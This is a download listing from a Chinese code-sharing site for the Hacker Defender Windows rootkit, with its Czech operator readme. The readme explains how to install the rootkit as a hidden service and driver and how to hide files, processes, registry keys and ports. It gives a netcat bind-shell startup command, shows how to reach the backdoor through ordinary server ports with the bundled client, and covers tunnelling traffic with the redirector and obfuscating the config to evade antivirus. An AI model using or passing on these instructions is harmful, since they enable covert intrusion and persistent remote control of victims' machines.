hxdef100r

所属分类:Windows编程
开发工具:C/C++
文件大小:237KB
下载次数:35
上传日期:2009-04-22 20:14:54
上 传 者kernel.lover
说明:  Kernel rootkit hacker defender

文件列表:
bdcli100.exe (26624, 2005-07-21)
hxdef-OFdis.exe (70656, 2005-09-01)
hxdef100.exe (70656, 2005-09-01)
rdrbs100.exe (49152, 2005-07-21)
hxdef100.2.ini (3924, 2005-07-20)
hxdef100.ini (4119, 2005-07-29)
src.zip (93679, 2005-09-01)

=======================[ Hacker defender - Czech readme ]======================= NT Rootkit ---------- Autori: Holy_Father Ratter/29A Verze: 1.0.0 revisited Datum: 15.08.2005 Home: http://www.hxdef.org, http://hxdef.net.ru, http://hxdef.czweb.org, http://rootkit.host.sk Betatesteri: ch0pper aT4r phj34r unixdied <0edfd3cfd9f513ec030d3c7cbdf54819@hush.ai> rebrinak GuYoMe ierdna Afakasf Readme: ceske & anglicke napsal holy_father francouzske napsal GuYoMe =====[ 1. Obsah ]=============================================================== 1. Obsah 2. Uvod 2.1 Idea 2.2 Licence 3. Pouziti 4. Inifile 5. Backdoor 5.1 Redirector 6. Technicke otazky 6.1 Verze 6.2 Hookovane API 6.3 Zname chyby 7. Faq 8. Soubory =====[ 2. Uvod ]================================================================ Hacker defender (hxdef) je rootkit pro Windows NT 4.0, Windows 2000, Windows XP a Windows Server 2003, muze take fungovat i na pozdejsich verzich systemu zalozenem na NT technologii. Hlavni telo programu je napsano v Delphi. Nove funkce jsou nasapsany v assembleru. Driver je napsan v C. Pomocne programy jsou programovany prevazne v Delphi. program pouziva upraveny LDE32 LDE32, Length-Disassembler Engine, 32-bit, (x) 1999-2000 Z0MBiE special edition for REVERT tool version 1.05 program pouziva Superfast/Supertiny Compression/Encryption library Superfast/Supertiny Compression/Encryption library. (c) 19*** by Jacky Qwerty/29A. =====[ 2.1 Idea ]=============================================================== Zakladni myslenka tohoto programu spociva v prepsani casti pameti u vsech procesu bezicich v systemu. Prepsanim funkcni zakladnich modulu se docili zmeny chovani procesu. Prepsani nesmi nijak ovlivnit stabilitu systemu ani jednotlivych procesu. Program musi byt absolutne neviditelny. Nyni umoznuje uzivateli skryt soubory, procesy, systemove sluzby a drivery, klice a hodnoty v registru, otevrene porty, umoznuje zmenu volneho mista na disku. Take maskuje zmenu prepsane pameti a skryva handly skrytych procesu. Program nainstaluje neviditelne backdoory a zaregistruje se jako neviditelna systemova sluzba a take nainstaluje neviditelny driver. Technologie backdooru pak umoznila i implantaci redirectoru. =====[ 2.2 Licence ]============================================================ Od verze 1.0.0 je projekt open source, ale existuji i komercni verze s ruznymi vylepsenimi a novymi vlastnostmi. A samozrejme, ze autori nejsou zodpovedni za nasledky vasi cinnosti nebo pouzivanim Hacker defender. =====[ 3. Pouziti ]============================================================= Pouziti hxdefu je celkem snadne: >hxdef100.exe [inifile] nebo >hxdef100.exe [switch] Pokud neni inifile zadan nebo se spousti se switchem, bere se defautne jako inifile EXENAME.ini, kde EXENAME je jmeno hlavniho programu bez pripony (defaultne tedy hxdef100.ini). Tyto switche je mozne pouzit pouzit: -:installonly - pouze nainstaluje sluzbu, ale nespusti se -:refresh - slouzi k updatovani nastaveni z inifilu -:noservice - neinstaluje se jako sluzba a spusti se normalne -:uninstall - uplne odstrani hxdef z pameti a ukonci vsechna bezici spojeni backdooru zastaveni systemove sluzby hxdefu dela totez Priklad: >hxdef100.exe -:refresh Hxdef se svym defaultnim inifilem je pripraven k pouziti bez zmen inifilu. Je ale doporuceno vytvorit vlastni nastaveni. Pro vice informaci viz sekce 4. Inifile. Switche -:refresh a -:uninstall lze zavolat pouze z originalniho exe souboru. To znamena, ze musite znat presnou cestu a jmeno souboru beziciho hxdefu, abyste mohli zmenit jeho nastaveni, nebo ho odinstallovat. =====[ 4. Inifile ]============================================================= Inifile musi obsahovat deset casti: [Hidden Table], [Hidden Processes], [Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues], [Startup Run], [Free Space], [Hidden Ports] a [Settings]. V seznamech jsou mezery na pocatku a na konci jmena polozky ignorovany. V [Hidden Table], [Hidden Processes], [Root Processes], [Hidden Services] a [Hidden RegValues] je moznost pouziti znaku * jako zastupneho znaku za konec retezce. Hvezdicku lze pouzit pouze na konci, vse za prvni hvezdickou se ignoruje. Priklad: [Hidden Table] hxdef* skryje vsechny soubory, adresare a procesy zacinajici "hxdef". Hidden Table obsahuje vycet souboru a adresaru, ktere se maji skryt. Pokud se jedna o soubory a adresare, nebude moznost je videt ve file managerech. Ujistete se, ze jmena souboru hlavniho programu, inifilu, backdooru a driveru jsou v tomto vyctu uvedeny. Hidden Processes obsahuje vycet procesu, ktere maji byt skryty. Tyto budou neviditelne v tasklistu apod. Jmeno souboru hlavniho programu a backdooru by zde melo byt uvedeno. Root Processes obsahuje vycet programu, ktere budou imuni vuci infekci. Pouze temito programy je mozne videt skryte soubory, slozky a programy. Tyto programy jsou tedy urceny pro spravce rootkitu. Je mozne mit root proces, ktery neni skryty a naopak. Hidden Services je seznam nazvu systemovych sluzeb, ktere maji byt skryty v tabulce systemovych sluzeb. Defaultni jmeno systemove sluzby hlavniho programu rootkitu je HackerDefender100, jmeno driveru je defaultne nastaveno na HackerDefenderDrv100. Obe tato jmena lze zmenit v inifilu. Hidden RegKeys je seznam klicu v registru, ktere budou skryty. Rootkit ma v registru ctyri klice: HackerDefender100, LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100 defaultne. Pokud zmenite jmeno sluzby nebo driveru, meli byste take zmenit tyto polozky. Prvni dva klice registru jsou shode se jmenem sluzby a driveru. Dalsi dva jsou LEGACY_JMENO. Pokud tedy zmenite jmeno sluzby na BoomTotoJeMojeSluzba, vase jmeno klice v registru bude LEGACY_BOOMTOTOJEMOJESLUZBA. Hidden RegValues je seznam hodnot v registru, ktere budou skryty. Startup Run je seznam programu, ktere rootkitu spusti po svem spusteni. Tyto programy pobezi pod stejnymi pravy jako rootkit. Jmeno programu je oddeleno otaznikem od jeho parametru. Nepouzivaji se znaky ". Tyto programy jsou ukonceny pri prihlaseni uzivatele. Ke spusteni programu po kazdem prihlaseni uzivatele pouzijte klasicke metody. V tomto seznamu muzete pouzit tyto zkratky: %cmd% - zkratka pro soubor systemoveho shellu + cesta (napr. C:\winnt\system32\cmd.exe) %cmddir% - zkratka pro adresar systemoveho shellu (napr. C:\winnt\system32\) %sysdir% - zkratka pro systemovy adresar (napr. C:\winnt\system32\) %windir% - zkratka pro adresar Windows (napr. C:\winnt\) %tmpdir% - zkratka pro docasny adresar (napr. C:\winnt\temp\) Priklad: 1) [Startup Run] c:\sys\nc.exe?-L -p 100 -t -e cmd.exe pri spusteni rootkitu se spusti netcat-shell poslouchajici na portu 100 2) [Startup Run] %cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt pri kazdem spusteni rootkitu zapise cas do souboru temporary_directory\starttime.txt (napr. do C:\winnt\temp\starttime.txt) (%TIME% funguje pouze pro Windows 2000 a vyssi) Free Space je seznam disku a poctu bytu, ktere maji byt pridany k volnemu mistu na tomto disku. Format jedne polozky seznamu je X:NUM, kde X oznacuje jmeno jednotky a NUM je pocet bytu, ktere budou pricteny k volnemu mistu na tomto disku. Priklad: [Free Space] C:123456789 prida asi 123 MB k volnemu mistu na disku C, ktere se ukazuje ve vlastnostech disku Hidden Ports je seznam otevrenych portu, ktere nemaji byt videt v programech jako jsou OpPorts, FPort, Active Ports, Tcp View atd. Tento seznam ma 3 radky. Format prvni radky je TCPI:port1,port2,port3,..., format druhe radky pak TCPO:port1,port2,port3,..., format treti radky pak UDP:port1,port2,port3,... Priklad: 1) [Hidden Ports] TCPI:8080,456 TCPO: UDP: toto skryje dva (prichozi) porty: 8080/TCP a 456/TCP 2) [Hidden Ports] TCPI: TCPO:8001 UDP: toto skryje (odchozi) port 8001/TCP 3) [Hidden Ports] TCPI: TCPO: UDP:53,54,55,56,800 toto skryje pet portu: 53/UDP, 54/UDP, 55/UDP, 56/UDP a 800/UDP Settings obsahuji osm hodnot: Password, BackdoorShell, FileMappingName, ServiceName, ServiceDisplayName, ServiceDescription, DriverName a DriverFileName. Password je heslo slozene z 16 znaku, ktere je pak nutno zadavat pri praci s backdoorem a redirectorem. Heslo muze byt i kratsi, zbytek se doplni mezerami. BackdoorShell je jmeno kopie shellu, ktera se vytvori pri spusteni backdooru v docasnem adresari. FileMappingName je jmeno sdilene pameti, kde je uchovano nastaveni z inifilu pro hooknute procesy. ServiceName je jmeno sluzby rootkitu. ServiceDisplayName je zobrazovane jmeno sluzby. ServiceDescription je popis sluzby. DriverName je jmeno driveru. DriverFileName je jmeno souboru pro driver hxdefu. Priklad: [Settings] Password=hxdef-rulez BackdoorShell=hxdefá$.exe FileMappingName=_.-=[Hacker Defender]=-._ ServiceName=HackerDefender100 ServiceDisplayName=HXD Service 100 ServiceDescription=powerful NT rootkit DriverName=HackerDefenderDrv100 DriverFileName=hxdefdrv.sys zde je heslo pro backdoor "hxdef-rulez", backdoor zkopiruje systemovy shell (vetsinou cmd.exe) do souboru "hxdefá$.exe" do docasneho adresare. Jmeno sdilene pameti je "_.-=[Hacker Defender]=-._". Jmeno sluzby je nastaveno na "HackerDefender100", zobrazovane jmeno sluzby pak na "HXD Service 100". Popis sluzby je "poweful NT rootkit". Jmeno driveru je "HackerDefenderDrv100". Driver bude ulozen v souboru "hxdefdrv.sys". Specialni znaky |, <, >, :, \, / a " jsou ignorovany na vsech radkach inifilu s vyjimkou polozek [Startup Run], [Free Space] a [Hidden Ports] a take nejsou ignorovany za prvnim = v polozkach [Settings]. Pouzitim specialnich znaku lze dosahnout zmateni antiviru, ktere detekuji inifile. Priklad: [H<<>a/"ble] >h"xdef"* je totez jako [Hidden Table] hxdef* viz hxdef100.ini a hxdef100.2.ini pro vic prikladu Vsechny retezce v inifilu krome tech v Settings a Startup Run nejsou case sensitivni. =====[ 5. Backdoor ]============================================================ Rootkit hookuje nekolik API funkci ve souvislosti s prijimanim dat ze site. Pokud jsou prichozi data shodna s 256 bitovym identifikacnim klicem, overi se heslo a sluzba, zkopiruje se shell do souboru v tempu, vytvori se instance shellu a nasledujici tok dat se presmeruje na tento shell. Protoze se hooknuti tyka vsech procesu, vznikne v systemu na vsech TCP portech serveru backdoor. Napriklad pokud ma server otevreny port 80/TCP pro HTTP, bude tento port slouzit i jako backdoor. Vyjimku zde tvori porty otevrene procesem System, ktery neni hooknuty. Backdoor muze fungovat jen tam, kde prijimaci buffer je alespon 256 bitu, coz ale odpovida temer vsem standardnim serverum jako jsou Apache, IIS nebo Oracle. Vznika tedy backdoor, ktery je neviditelny diky tomu, ze jeho komunikace probiha pres klasicky server. Z tohoto vyplyva nemoznost detekovat backdoor klasickym portscanem a naopak bezproblemovy beh pres firewall. Vyjimku tvori klasicke proxy, ktere jsou orientovany na vyssi protokoly jako napr. FTP nebo HTTP. Pri testech na sluzbach IIS se zjistilo, ze HTTP server neloguje tento pristup vubec, FTP a SMTP servery zaregistruji koncove odpojeni od serveru. Pro pripojeni k backdooru tedy musite pouzit specialniho klienta. K tomu slouzi program bdcli100.exe. Pouziti: bdcli100.exe host port password Priklad: >bdcli100.exe www.windowsserver.com 80 hxdef-rulez spoji se s backdoorem, pokud je nainstalovan na serveru www.windowsserver.com a pokud defaulni heslo pro backdoor nebylo zmeneno Klient pro verzi 1.0.0 neni kompatibilni se servery starsich verzi. =====[ 5.1 Redirector ]========================================================= Na zaklade techinky backdooru byl implementovan redirector. Pocatek komunikace se navazuje stejne jako u backdooru. Dalsi pakety jsou uz specialni a urcene primo pro redirector. Tyto pakety generuje pouze redirectorova baze, kterou uzivatel spousti na svem pocitaci. Pocatecni paket redirovaneho spojeni urcuje cil prenosu, na zaklade toho se pak cele spojeni prenasi na cilovy server a port. Base redirectoru uklada sva data do inifilu, ktery je pojmenovan podle jmena exe souboru baze (defaultne tedy rdrbs100.ini). Pokud soubor neexistuje, je automaticky vytvoren. Inifile baze se doporucuje needitovat rucne. Vse lze nastavit z koznole baze. Pokud chceme pouzit redirector na serveru s instalovanym rootkitem, musime nejprve na localhostu spustit bazi. Pote v konzole baze pridame tzv. mapped port k rootkitu na vzdalenem serveru. Nakonec se pripojime na bazi na localhostu na zvoleny port a prenasime data. Datova komunikace je sifrovana pomoci hesla rootkitu. V soucasne verzi je rychlost omezena kolem 256 kBps. Redirector rozhodne neni urcen k vysokorychlostnim prenosum velkych souboru. Redirector je omezen systemem, na kterem bezi a jeho okolim. Redirector pracuje na protokolu TCP. Baze je ovladana v soucasne verzi pres 19 prikazu. Zadavani neni case senzitive. Jejich funkce osvetluje prikaz HELP. Po startu baze se vykonaji prikazy v startup-listu. Prikazy startup-listu se edituji pomoci konzolovych prikazu zacinajicich SU. Redirector v teto verzi rozlisuje HTTP a ostatni typy spojeni. Pokud je typ spojeni oznacen jako HTTP, v paketech se meni parametr Host v hlavicce protokolu HTTP. Pro ostatni typy spojeni se pakety nemeni. Maximalni pocet redirektoru na jednu bazi je 1000. Program je plne funkcni jen pro Windows NT. Pouze na NT je mozno mit iconu v trayi a schovavat konzolu prikazem HIDE. Pouze na NT je mozne spoustet bazi v tzv. silent modu, pri nemz program nema zadny vystup ani ikonu a bezi az do sveho ukonceni podle prikazu v startup-listu. Priklady: 1) vypsani stavu mapped portu: >MPINFO No mapped ports in the list. 2) pridani prikazu MPINFO do startup-listu a vypsani startup-listu: >SUADD MPINFO >sulist 0) MPINFO 3) pouziti prikazu HELP: >HELP Type HELP COMMAND for command details. Valid commands are: HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL, DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST >HELP ADD Create mapped port. You have to specify domain when using HTTP type. usage: ADD [TYPE] [DOMAIN] >HELP EXIT Kill this application. Use DIS flag to discard unsaved data. usage: EXIT [DIS] 4) prida***pped portu, chceme na localhostu poslouchat na portu 100, rootkit je instalovan na serveru 200.100.2.36 na portu 80, server, na ktery chceme presmerovat data je www.google.com na port 80, heslo rootkitu je bIgpWd, spojeni je typu HTTP, ip adresa ciloveho serveru (www.google.com) - ip musime vzdy znat - je 216.239.53.100: >ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com prikaz ADD muzeme spustit i bez parametru, pak jsme na kazdy zvlast dotazani 5) nyni znovu muzeme zkontrolovat porty pomoci prikazu MPINFO: >MPINFO There are 1 mapped ports in the list. Currently 0 of them open. 6) vypsani seznamu mapped portu: >LIST 000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP 7) vypsani detailu o mapped portu: >DETAIL 0 Listening on port: 100 Mapping server address: 200.100.2.36 Mapping server port: 80 Target server address: 216.239.53.100 Target server port: 80 Password: bIgpWd Port type: HTTP Domain name for HTTP Host: www.google.com Current state: CLOSED 8) muzeme otestovat zda na serveru 200.100.2.36 je opravdu rootkit s timto heslem (tento test neni nutny provadet pred pouzitim portu): >TEST 0 Testing 0) 200.100.2.36:80:bIgpWd - OK v pripade, ze test selze, vraci se Testing 0) 200.100.2.36:80:bIgpWd - FAILED 9) port je zatim zavreny, pro pouziti se musi otevrit prikazem OPEN, zavrit se pak muze prikazem CLOSE, pokud chceme aplikovat prikaz na vsecky porty, piseme misto indexu portu priznak ALL, stav otevreni/zavreni se zobrazi kratce po zadani prikazu: >OPEN 0 Port number 0 opened. >CLOSE 0 Port number 0 closed. nebo >OPEN ALL Port number 0 opened. 10) prikazem SAVE se ulozi aktualni nastaveni do souboru (uklada se take automaticky pri ukonceni aplikace prikazem EXIT bez priznaku DIS): >SAVE Saved successfully. Po otevreni portu je jiz vse pripraveno pro komunikaci, nyni si muzete ve svem oblibenem prohlizeci zadat jako url retezec http://localhost:100/ a sledovat, kterak se nacita stranka www.google.com. Prvni pakety spojeni mohou dorazit se spozdenim az 5 sekund, ostatni jsou pak jiz jen omezeny rychlosti serveru, rychlosti vaseho spojeni a limitem technologie redirectoru, ktery je v teto verzi kolem 256 kBps. =====[ 6. Technicke otazky ]==================================================== Tato sekce neobsahuje zadne zajimave informace pro bezne uzivatele. Tuto sekci by vsak meli cist vsichni betatesteri a vyvojari. =====[ 6.1 Verze ]============================================================== 1.0.0 revisited + define kompilatoru pro vypnuti hookovani NtOpenFile + outbound TCP connection hiding + oddeleni skrytych souboru a procesu - Hidden Processes + mazani skrytych souboru z Prefetch po startu + vypnuti McAfee Buffer Overflow protection kvuli nekompatibilite x nalezeno a opraveno nekolik bugu, kultivace zdrojoveho kodu 1.0.0 + open source 0. ... ...

近期下载者

相关文件


收藏者